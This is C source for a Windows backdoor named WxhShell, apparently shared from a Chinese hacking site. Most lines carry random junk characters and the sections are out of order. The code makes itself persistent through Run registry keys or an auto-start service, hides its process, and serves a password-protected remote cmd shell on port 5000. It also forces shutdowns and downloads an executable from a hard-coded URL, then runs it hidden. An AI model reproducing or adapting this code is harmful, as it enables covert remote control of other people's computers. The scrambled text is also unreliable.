    break; UYW{A G2C  
    } , s .{R  
  // 关机 g?=|kp  
  case 'd': { %}x$YD O  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =V(|3?N  
    if(Boot(SHUTDOWN)) AKkr )VgY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |ZBHXv  
    else { Rd^X.  
    closesocket(wsh); -|aNHZr  
    ExitThread(0); ZclZD{%8J  
    } 6y d/3k  
    break; 0b~{l;  
    } NP?hoqeKs  
  // 获取shell @/yJTMcf  
  case 's': {  #:st>V_h  
    CmdShell(wsh); /UAcN1K!B  
    closesocket(wsh); dB%q`7O  
    ExitThread(0); "Nlw&+ c7  
    break; x;L.j7lzA;  
  } 'hn=X7  
  // 退出 @+ee0 CLT  
  case 'x': { NiPa-yRh  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +kN/-UsB  
    CloseIt(wsh); QYj8c]8f  
    break; !1<?ddH6  
    } j\9v1O!T  
  // 离开 |r%lJmBB  
  case 'q': { xHo iu$i6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C. rLog#  
    closesocket(wsh); VvJ]*D+e  
    WSACleanup(); u^NZsuak  
    exit(1); dOfEEqPI  
    break; &Y/Myh[P  
        } Fo86WP}  
  } vx&r  
  } @& vtY._  
2^.qKY@g@  
  // 提示信息 T~" T%r  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e6JT|>9A7  
} n 0*a.  
  } @M!Wos Rk  
c 6"hk_  
  return; Fs|aH-9\  
} lmjoSINy  
~Vf+@_G8`  
// shell模块句柄 1O{x9a5Z?O  
int CmdShell(SOCKET sock) 7g a|4j3%  
{ 5^W},:3R  
STARTUPINFO si; Sgy_?Y  
ZeroMemory(&si,sizeof(si)); Sy?O(BMo  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +_h1JE_}D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L dyTB@  
PROCESS_INFORMATION ProcessInfo; %:~LU]KX  
char cmdline[]="cmd"; 7[}K 2.W.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]J aV +b'O  
  return 0; 5\6S5JyIL  
} pf'-(W+  
$Z8=QlG>  
// 自身启动模式 t:?8I9d  
int StartFromService(void) gfW8s+  
{  {Hp*BE   
typedef struct 4?s ~S. %  
{ &!E+l<.RF  
  DWORD ExitStatus; E)h&<{%  
  DWORD PebBaseAddress; }VUrn2@-4  
  DWORD AffinityMask; ~c*$w O\  
  DWORD BasePriority; TDtS^(2A7K  
  ULONG UniqueProcessId; G6?+Qz r  
  ULONG InheritedFromUniqueProcessId; 28N v'  
}   PROCESS_BASIC_INFORMATION; 3TS(il9A  
;E{k+vkqy  
PROCNTQSIP NtQueryInformationProcess; j>KJgSs]&\  
]*M-8_D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ">LX>uYmX-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZI8*PX%2  
;jEDGKLq  
  HANDLE             hProcess; cJ> #jl&  
  PROCESS_BASIC_INFORMATION pbi; ;[ag|YU$Y  
cGVIO"(VP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j$TTLFK1  
  if(NULL == hInst ) return 0; 9]DMHA@  
n M?mdb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HpD<NVu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A_mVe\(*M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $aFCe}3b<  
>#Obhs|S{C  
  if (!NtQueryInformationProcess) return 0; bQ3EBJT{P  
b?~%u+'3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +U:U/c5Z^  
  if(!hProcess) return 0; !N@d51T=N  
F/ODV=J-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `qnNEJL,  
IJ`%Zh{f  
  CloseHandle(hProcess); G; *jL4  
<+tSTc4>r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l; ._ ?H  
if(hProcess==NULL) return 0; #EO@<> I  
gq^j-!Q)Q<  
HMODULE hMod; Wt%+q{  
char procName[255]; ^D=1%@l?#  
unsigned long cbNeeded; ^"?fZSC  
=y$|2(6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :'pLuN  
5ZXP$.  
  CloseHandle(hProcess); D[NJ{E.{  
1@}`dc  
if(strstr(procName,"services")) return 1; // 以服务启动 a->;K+  
@Weim7r  
  return 0; // 注册表启动 0^L>J "o  
} 007(k"=oV  
5a PPq~%  
// 主模块 _=wu>h&7  
int StartWxhshell(LPSTR lpCmdLine) B`)gXqBt  
{ VJeoO)<j  
  SOCKET wsl; _shoh  
BOOL val=TRUE; "\x<Zg;  
  int port=0; #'@pL0dj  
  struct sockaddr_in door; 8{t^< j$n  
zree}VqD;5  
  if(wscfg.ws_autoins) Install(); / X #4  
O_M2Axm  
port=atoi(lpCmdLine); vIL'&~C\y  
L>&o_bzp  
if(port<=0) port=wscfg.ws_port; ODbEL/  
m=hlim;P,  
  WSADATA data; $hn=MOMc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j0XS12eM  
Y2j>@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R0l5"l*@+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'K L" i  
  door.sin_family = AF_INET; nI63Ns  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (&W&1KT  
  door.sin_port = htons(port); -8r';zR  
&7i o/d\/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s?:&#  
closesocket(wsl); c,K)*HB  
return 1; gyz#:z$p^  
} Q (3Na6  
%a_ rYrL  
  if(listen(wsl,2) == INVALID_SOCKET) { (SEE(G35  
closesocket(wsl); Q=,6W:j  
return 1; TQ{rg2_T  
} Vw^2TRU  
  Wxhshell(wsl); T ke3X\|  
  WSACleanup(); CWTPf1?eB  
x'4q`xDa  
return 0; .d JX,^  
GV+K] KDI  
} -|"[S"e  
TQ/EH~Sz  
// 以NT服务方式启动 JZa^GW:YQh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  rk F>c  
{ y*BS %xTF  
DWORD   status = 0; ?YeUA =[MC  
  DWORD   specificError = 0xfffffff; eWgqds&#  
J|uxn<E<>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d3m!34ml  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; '@ $L}C#OI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _6tir'z  
  serviceStatus.dwWin32ExitCode     = 0; o4%H/|Oq.  
  serviceStatus.dwServiceSpecificExitCode = 0; /e2CB"c   
  serviceStatus.dwCheckPoint       = 0; ]tjQy1M  
  serviceStatus.dwWaitHint       = 0; B#|c$s{  
F1Jd-3ei  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fAMk<?  
  if (hServiceStatusHandle==0) return; #{m~=1%;Ya  
_V.MmA  
status = GetLastError(); IzuYkl}  
  if (status!=NO_ERROR) 8(6(,WwP}  
{ a7]wPXKq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nRE(Rb Re  
    serviceStatus.dwCheckPoint       = 0; .qN|.:6a  
    serviceStatus.dwWaitHint       = 0; s9Tp(Yr,k  
    serviceStatus.dwWin32ExitCode     = status; ""; Bq*Y#  
    serviceStatus.dwServiceSpecificExitCode = specificError; .~nk' m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _5t~g_(1OK  
    return; +;T `uOF}  
  } &}:]uC  
;*H@E(g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D?Mj<||  
  serviceStatus.dwCheckPoint       = 0; hR g?H  
  serviceStatus.dwWaitHint       = 0; /:+f5\"-b  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fLtN-w6t  
} vj_[LFE  
sU|\? pJ  
// 处理NT服务事件,比如:启动、停止 M_OvIU(E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cbton<r~  
{ ?ufX3yia  
switch(fdwControl) >8* 0"Q  
{ 3tt3:`g  
case SERVICE_CONTROL_STOP: f"{|c@%  
  serviceStatus.dwWin32ExitCode = 0; KBe\)Vs  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; '{[n,xeR  
  serviceStatus.dwCheckPoint   = 0; A(2\Gfe  
  serviceStatus.dwWaitHint     = 0; .Wr%l $~  
  { A=PJg!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yx@%x?B  
  } E .'v,GYe  
  return; At0ahy+  
case SERVICE_CONTROL_PAUSE: _s1pif  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Jp d|<\Ml  
  break; F3%8E<QZd;  
case SERVICE_CONTROL_CONTINUE: _K4E6c_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7xhBdi[ dQ  
  break; ,Vc>'4E-  
case SERVICE_CONTROL_INTERROGATE: I<``d Ne9Q  
  break; 9tMaOm  
}; ^%qe&Pe2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :pp@x*uNP  
} Fu z'!  
+n)_\@aQ  
// 标准应用程序主函数 !jySID?q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZNKopA(=|%  
{ C-}@.wr(  
x}tg/` .=z  
// 获取操作系统版本 ~OE1Sd:2  
OsIsNt=GetOsVer(); jQ"z\}Wf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _ddOsg|U  
a(eKb2CX  
  // 从命令行安装 #hQ#_7  
  if(strpbrk(lpCmdLine,"iI")) Install(); NKSK+ll2  
\U?$ r[P  
  // 下载执行文件  jO5,PTV  
if(wscfg.ws_downexe) { OxC8xB;`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <\fB+ AZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,\Q^[e!m~  
} 1^HmM"DD  
u alpm#GU  
if(!OsIsNt) { ;h-W&i7  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,(@JNtx  
HideProc(); ZHN@&Gg6)  
StartWxhshell(lpCmdLine); HkL:3 E.  
} Fcz}Gs4  
else 'bb *$T0=  
  if(StartFromService()) Xa xM$  
  // 以服务方式启动 moOc G3=9  
  StartServiceCtrlDispatcher(DispatchTable); Bn<1zg5  
else O6[ 4=4L  
  // 普通方式启动 _1hiNh$  
  StartWxhshell(lpCmdLine); Bw{enf$vR  
,bGYixIfYZ  
return 0; %0gcNk"=  
} }t FRl  
M}S1Zz%Ii1  
7;i [  
%FhUjHm  
=========================================== nn?h;KzB  
y!kU0  
%`# HGji)  
kR !O-@GJ]  
6/=0RTd  
b)(rlX  
" d$gT,+|vu  
# GbfFoE  
#include <stdio.h> }|j \QjH  
#include <string.h> _-R&A@  
#include <windows.h> y[64O x  
#include <winsock2.h> b;5&V_  
#include <winsvc.h> h6(\ tRd!\  
#include <urlmon.h> (rE.ft5$9  
~85>.o2RDW  
#pragma comment (lib, "Ws2_32.lib") e a3f`z  
#pragma comment (lib, "urlmon.lib") 2gM/".|{  
tYk!Y/O}  
#define MAX_USER   100 // 最大客户端连接数 GpZ}xY'|w,  
#define BUF_SOCK   200 // sock buffer @4]} J-3  
#define KEY_BUFF   255 // 输入 buffer JGRL&MG4  
unB`n'L  
#define REBOOT     0   // 重启 579<[[6~d2  
#define SHUTDOWN   1   // 关机 '~\\:37+  
&*YFK/]  
#define DEF_PORT   5000 // 监听端口 2e<u/M21>  
y7ZYo7avg  
#define REG_LEN     16   // 注册表键长度 _Oc(K "v  
#define SVC_LEN     80   // NT服务名长度 _wp_y-"  
EZee kxs  
// 从dll定义API WZQ EBXs  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6g-Q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >At* jg48  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @d1YN]ede  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3Jh!YzI8  
l8~s#:v6X  
// wxhshell配置信息 %E k!3t  
struct WSCFG { Ef]<0Tm]:  
  int ws_port;         // 监听端口 6.'j \  
  char ws_passstr[REG_LEN]; // 口令 bP)( 4+t~  
  int ws_autoins;       // 安装标记, 1=yes 0=no RA$%3L[A!  
  char ws_regname[REG_LEN]; // 注册表键名 c2RQwtN|  
  char ws_svcname[REG_LEN]; // 服务名 xh:A*ZI=7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 dI?x&#(vw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =3dR-3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *w`_(X f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s|[CvjL#0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w\zNn4B})A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *w OU=1+  
I R|[&}z  
}; HPc~wX  
yBl9a-2A  
// default Wxhshell configuration |r+w(TG  
struct WSCFG wscfg={DEF_PORT, `Iqh\oY8-  
    "xuhuanlingzhe", s`2q(`}  
    1, \#sdN#e;XA  
    "Wxhshell", bamQ]>0|>!  
    "Wxhshell", p~3 (nk<+  
            "WxhShell Service", `Fx+HIng,  
    "Wrsky Windows CmdShell Service", H#/Hs#  
    "Please Input Your Password: ", ;-Ki`x.oJ  
  1, Jq*Q;}n  
  "http://www.wrsky.com/wxhshell.exe", wA2^ I70-  
  "Wxhshell.exe" 7ND4Booul  
    }; {l9gYA  
P}=U #AV4  
// 消息定义模块 ' >k1h.i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >K!$@]2F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T$"sw7<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d<cqY<y VA  
char *msg_ws_ext="\n\rExit."; W P9PX  
char *msg_ws_end="\n\rQuit."; hYbaVE  
char *msg_ws_boot="\n\rReboot..."; 3jx/1VV  
char *msg_ws_poff="\n\rShutdown..."; Tvl"KVGm  
char *msg_ws_down="\n\rSave to "; 7DPxz'7):  
 "SA*  
char *msg_ws_err="\n\rErr!"; pCC3r t(  
char *msg_ws_ok="\n\rOK!"; adWH';Q:  
A=+1PgL66  
char ExeFile[MAX_PATH]; #+Y%Bxf  
int nUser = 0; Jbn^G7vH<6  
HANDLE handles[MAX_USER]; &Lbh?C  
int OsIsNt; #H]c/  
8/<+p? 3p>  
SERVICE_STATUS       serviceStatus; `Jj q5:\&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; RqKkB8g  
&,tj.?NCn  
// 函数声明 DEW;0ic  
int Install(void); Q%:Z&lg y  
int Uninstall(void); - VdCj%r>  
int DownloadFile(char *sURL, SOCKET wsh); AfpC >>=@  
int Boot(int flag); g=$nNQ \6=  
void HideProc(void); (tCBbPW6T?  
int GetOsVer(void); NpH9}, 1i  
int Wxhshell(SOCKET wsl); 2 b80b50  
void TalkWithClient(void *cs); %)w7t[A2D  
int CmdShell(SOCKET sock); :7?n)=Tx  
int StartFromService(void); H5(: 1  
int StartWxhshell(LPSTR lpCmdLine); ](^FGz  
zm mkmTp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }ag;yf;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Gc_KS'K@$  
AO,^v+ $  
// 数据结构和表定义 vty:@?3\  
SERVICE_TABLE_ENTRY DispatchTable[] = .cz7jD  
{ wpD}#LRfm  
{wscfg.ws_svcname, NTServiceMain}, eExI3"|Q  
{NULL, NULL} x^Zm:Jrw~  
};  s&iu+>  
kkIG{Bw  
// 自我安装 x~ID[  
int Install(void) ?-'GbOr!  
{ <m,bP c :R  
  char svExeFile[MAX_PATH]; = \M6s  
  HKEY key; 8~sC$sIlE  
  strcpy(svExeFile,ExeFile); p_i',5H(  
= &^tfD  
// 如果是win9x系统,修改注册表设为自启动 7AF6aog  
if(!OsIsNt) { +k V$ @qH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )"J1ET,z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uFuP%f!yY  
  RegCloseKey(key); !p Q*m`Xo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9&zQ 5L>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sJMpF8   
  RegCloseKey(key); WidLUv   
  return 0; VAp 1{  
    } j_.tg7X  
  } R5xV_;wD  
} MeYu  
else { oA8A @,-L  
h!`KX2~  
// 如果是NT以上系统,安装为系统服务 yQ !keGj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p) ?6~\F:  
if (schSCManager!=0) Js(MzL  
{ )"]( ?V  
  SC_HANDLE schService = CreateService Mp(;PbVD  
  ( ';m;K (g  
  schSCManager, iO"ZtkeNr  
  wscfg.ws_svcname, 1.5R`vKn]  
  wscfg.ws_svcdisp, :jJ0 +Q  
  SERVICE_ALL_ACCESS, ,u9 >c*Ss\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , })j N 8px  
  SERVICE_AUTO_START, <B'PB"R3y  
  SERVICE_ERROR_NORMAL, +U iJWO  
  svExeFile, 8\G"I  
  NULL, )6%a9&~H  
  NULL, (+}44Ldt  
  NULL, PbfgWGr  
  NULL, U?ZWDr"*`w  
  NULL E)|Bl>  
  ); fOdX2{7m  
  if (schService!=0) !b$]D?=}  
  { I|Mw*2U  
  CloseServiceHandle(schService); qfRrX"  
  CloseServiceHandle(schSCManager); .*Z#;3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u $B24Cy.  
  strcat(svExeFile,wscfg.ws_svcname); :m36{#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !$#5E1:\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >>cL"m  
  RegCloseKey(key); 1Beh&pl^  
  return 0; )$K\:w>  
    } v3(0Mu0J  
  } 5=b6B=\*~  
  CloseServiceHandle(schSCManager); fu?u~QZ8  
} ?J-D6;  
} 03_M+lv  
AW'$5 NF>  
return 1; Gzwb<e y  
} Lt i2KY}/%  
{Es1bO  
// 自我卸载 >U(E \`9D  
int Uninstall(void) {;O j  
{ 9m<%+ S5&  
  HKEY key; U;*O7K=P  
WXG0Z  
if(!OsIsNt) { s#(7D3Pr#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L* ScSxw  
  RegDeleteValue(key,wscfg.ws_regname); p.H`lbVY  
  RegCloseKey(key); $j \jT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]=59_bkD:s  
  RegDeleteValue(key,wscfg.ws_regname); 5H,(\Xd  
  RegCloseKey(key); %-B wK  
  return 0; aimf,(+  
  } Qwp2h"t`  
} g?K? Fn.}  
} Gyrc~m[$  
else { PR*EyM[T  
$M~`)UeV_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F"QJ)F  
if (schSCManager!=0) ;,7m  
{ BU7QK_zT:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h)aLq  
  if (schService!=0) =1xVw5^F  
  { Cq3Au%7  
  if(DeleteService(schService)!=0) { f0YBy<a  
  CloseServiceHandle(schService); 7K+eI!m.s  
  CloseServiceHandle(schSCManager); MP.ye|i4Q  
  return 0; Kjpsz];  
  } l TVz'ys  
  CloseServiceHandle(schService); g4{0  
  } F~~9/#  
  CloseServiceHandle(schSCManager); F%4N/e'L  
} #B q|^:nj  
} )6eFYt%c  
K92M9=>  
return 1; @, AB 2D  
} O&}R  
rDu?XJA  
// 从指定url下载文件 KuEM~Q=  
int DownloadFile(char *sURL, SOCKET wsh) LR'~:46#u  
{ ,Ek6X)|@  
  HRESULT hr; 19RbIG/X  
char seps[]= "/"; %IDl+_j  
char *token; (`u+(M!^  
char *file; .4[M-@4+]  
char myURL[MAX_PATH]; /||8j.Tm  
char myFILE[MAX_PATH]; = )4bf"~8  
8#9OSupp  
strcpy(myURL,sURL); "{3MXAFe  
  token=strtok(myURL,seps); ;Wsl 'e/  
  while(token!=NULL) JvaHH!>d/  
  { ]mjKF\  
    file=token; .'4@Yp{=  
  token=strtok(NULL,seps); e@& 2q{Gi=  
  } Z-M4J;J@}  
Hl*#iUq  
GetCurrentDirectory(MAX_PATH,myFILE); lTFo#p_(  
strcat(myFILE, "\\"); "{d[V(lE"  
strcat(myFILE, file); 7M_GGjP  
  send(wsh,myFILE,strlen(myFILE),0); \jS^+Xf?^  
send(wsh,"...",3,0); f# hmMa  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,u!_mV  
  if(hr==S_OK) W)Y:2P<.  
return 0; uC6e2py<[  
else 2z1r|?l  
return 1; Ih;D-^RQ  
=/\l=*  
} +vPCr&40  
Zm(}~C29  
// 系统电源模块 Uo[`AzD3  
int Boot(int flag) ]iZ-MG)J  
{ Q8h=2YL  
  HANDLE hToken; 9WHarv2@  
  TOKEN_PRIVILEGES tkp; ]eX(K5 A  
[|YJg]i-  
  if(OsIsNt) { H>"P]Y)oX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wy:euKB~   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?ZkVk=t?  
    tkp.PrivilegeCount = 1; `8TL*.9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E~8J<g E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z5sKV7&\[n  
if(flag==REBOOT) { -qLNs_ _k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Jq+@%#G  
  return 0; @[n%q.|VB  
} EJJ&`,q  
else { B*^QTJ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %;J$ h^  
  return 0; N ]GF>kf:  
} cCIs~*D  
  } dbF9%I@  
  else { 5j _[z|W2  
if(flag==REBOOT) { ZJ[p7XP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "L9pFz</  
  return 0; U]ZI_[\'U  
} \tdYTb.  
else { ^Nysx ~6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "tj]mij2)G  
  return 0; [.;8GMW  
} clM6R  
} Kn2W{*wD  
_cJ\A0h^  
return 1; x7xQrjE  
} C.se/\PE  
5rJ7CfVq  
// win9x进程隐藏模块 |voZ0U  
void HideProc(void) P{,=a]x,mz  
{ W=,]#Z+M;  
QR$m i1Vv\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,{Z!T5 |  
  if ( hKernel != NULL ) }q?q)cG  
  { !{ORFd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ihl]"76q/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4=|oOIhgb  
    FreeLibrary(hKernel); yWi?2   
  } $tK/3  
|]?7r?=J9v  
return; xDmwiVy  
} <,9rXjeRl  
ETfoL.d$(  
// 获取操作系统版本 kQrby\F(<  
int GetOsVer(void) cOP%R_ak?  
{ U{HBmSR  
  OSVERSIONINFO winfo; `<% w4 E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mrlhj8W?!  
  GetVersionEx(&winfo); tpP68)<ns  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w}x&wWM  
  return 1; [Fr <tKtB  
  else t<+gyAW  
  return 0; -?ebkHe  
} qi8~bQ{rH  
 f^[m~  
// 客户端句柄模块 5J3K3  
int Wxhshell(SOCKET wsl) t\\<+^[%  
{ Qr~yHFc1y  
  SOCKET wsh; yeV|j\TJI.  
  struct sockaddr_in client; ?jnbm'~S  
  DWORD myID; \K:?#07Wj4  
}/7rA)_  
  while(nUser<MAX_USER) KoFWI_(b  
{ YRj"]= 5N  
  int nSize=sizeof(client); m .^WSy  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~vfPsaRh  
  if(wsh==INVALID_SOCKET) return 1; M7neOQHq  
ket"fXqJX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?C_Y2JY  
if(handles[nUser]==0) ]yas]5H   
  closesocket(wsh); DWU(ld:_  
else z>spRl,dr  
  nUser++; >W'"xK|:  
  } .L_ Hk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $XFFNE`%  
p{w;y6e  
  return 0; ,){WK|_  
} d ewN\  
-nB. .q  
// 关闭 socket h9+ 7 6  
void CloseIt(SOCKET wsh) Qs_]U  
{ <ceJ!"L  
closesocket(wsh); t;lK=m|  
nUser--; 4n2*2 yTg  
ExitThread(0); 44UN*_qG  
} n5?7iU&JIo  
prVqV-S6TY  
// 客户端请求句柄 ;oRgg'k<  
void TalkWithClient(void *cs) ABhQ7 x|  
{ byJ[1UK  
,h.hgyt  
  SOCKET wsh=(SOCKET)cs; IVG77+O# }  
  char pwd[SVC_LEN]; R78lV -};Q  
  char cmd[KEY_BUFF]; ;-kg3fGB1Q  
char chr[1]; alZ83^YN'  
int i,j; YU1z\pK  
f7 zGz  
  while (nUser < MAX_USER) { kfy|3KA3m  
5+*CBG}  
if(wscfg.ws_passstr) { 2Vg+Aly4D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kJ B u7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _;G|3>5u  
  //ZeroMemory(pwd,KEY_BUFF); IHe?/oUL"b  
      i=0; *GM.2``e  
  while(i<SVC_LEN) { SCXtBZ`.G  
Q% J!  
  // 设置超时 <GoZ>  
  fd_set FdRead; tnw6[U!rh=  
  struct timeval TimeOut; CSMx]jbb  
  FD_ZERO(&FdRead); [3(lk_t  
  FD_SET(wsh,&FdRead); f`p"uLNo<  
  TimeOut.tv_sec=8; HO39>:c  
  TimeOut.tv_usec=0; $eh>.c'&]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E^V4O l<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '_o(I  
$(pVE}J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6/L34VH  
  pwd=chr[0]; <7J\8JR&=  
  if(chr[0]==0xd || chr[0]==0xa) { ]U3@V#*  
  pwd=0; [L>AU; :  
  break; /3 d6Og  
  } ?,*KAGg%  
  i++; t8"yAYj  
    } CNyV6jb  
fb|lWEw5h.  
  // 如果是非法用户,关闭 socket c]/&xRd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +v|]RgyW)  
} ,a} vx"~  
/QVhT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); IL<@UWs6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bH_zWk  
mbO.Kyfen  
while(1) { RMBPm*H  
hdxq@%Vs  
  ZeroMemory(cmd,KEY_BUFF); 9AZpvQ  
oF(|NS^  
      // 自动支持客户端 telnet标准   UN`O*(k[  
  j=0; Uj> bWa`  
  while(j<KEY_BUFF) { =7<g;u   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AJ85[~(lX  
  cmd[j]=chr[0]; LW+^m6O  
  if(chr[0]==0xa || chr[0]==0xd) { {us"=JJVN  
  cmd[j]=0; lNqF@eCT9  
  break; CWM_J9f  
  } wnbKUlb  
  j++; |j7{zsH  
    } $jv/00:&  
0-zIohSJdQ  
  // 下载文件 xX{gm'3UYa  
  if(strstr(cmd,"http://")) { P}mn2Hs  
